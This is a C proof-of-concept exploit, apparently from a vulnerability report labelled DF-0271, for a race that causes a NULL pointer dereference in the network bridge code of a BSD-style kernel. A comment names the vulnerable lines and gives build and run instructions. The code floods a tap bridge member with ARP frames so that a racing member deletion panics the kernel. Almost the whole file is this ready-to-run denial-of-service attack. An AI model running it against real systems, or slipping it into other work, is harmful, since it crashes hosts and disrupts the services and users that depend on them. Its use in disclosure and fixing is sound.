DF-0271 / bridge_race.c
/* * DF-0271 PoC: bridge_input NULL deref when bridge_lookup_member_if returns NULL. * * sys/net/bridge/if_bridge.c:2738 bif = bridge_lookup_member_if(sc, ifp); * :2739 if ((bif->bif_flags & IFBIF_LEARNING) && ...) * No NULL check -> kernel panic if the member was removed from the per-CPU * iflist (sc->sc_iflists[mycpuid]) between the packet arriving on the member * and bridge_input running. Compare the guarded sibling at :2786-2788. * * Trigger: inject an ethernet frame dst=bridge-MAC into a bridge member (tap), * racing against deletion of that member from the bridge. The deletion removes * the member from the per-CPU iflist; if the injected frame is processed after * the removal but before ifp->if_bridge is cleared, bridge_lookup_member_if * returns NULL and bif->bif_flags dereferences NULL. * * Build: cc -o bridge_race bridge_race.c * Run: ./bridge_race <tapdev> <bridge-mac> * (as root; tap must be a bridge member) */ #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/ethernet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> static int parse_mac(const char *s, unsigned char mac[6]) { return sscanf(s, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) == 6 ? 0 : -1; } int main(int argc, char **argv) { const char *tapdev; unsigned char dst[6], src[6] = {0x02,0,0,0,0,0x01}; unsigned char frame[64]; int fd, i, n = 50000; if (argc < 3) { fprintf(stderr, "usage: %s <tapdev> <bridge-mac> [count]\n", argv[0]); return 2; } tapdev = argv[1]; if (parse_mac(argv[2], dst) < 0) { fprintf(stderr, "bad mac %s\n", argv[2]); return 2; } if (argc > 3) n = atoi(argv[3]); fd = open(tapdev, O_WRONLY); if (fd < 0) { perror("open tap"); return 2; } memcpy(frame, dst, 6); memcpy(frame+6, src, 6); frame[12] = 0x08; frame[13] = 0x06; /* ARP */ memset(frame+14, 'A', sizeof(frame)-14); printf("[*] injecting %d frames dst=%02x:%02x:%02x:%02x:%02x:%02x via %s\n", n, dst[0],dst[1],dst[2],dst[3],dst[4],dst[5], tapdev); for (i = 0; i < n; i++) { if (write(fd, frame, sizeof(frame)) < 0) perror("write"); } printf("[*] done injecting %d frames\n", n); close(fd); return 0; } |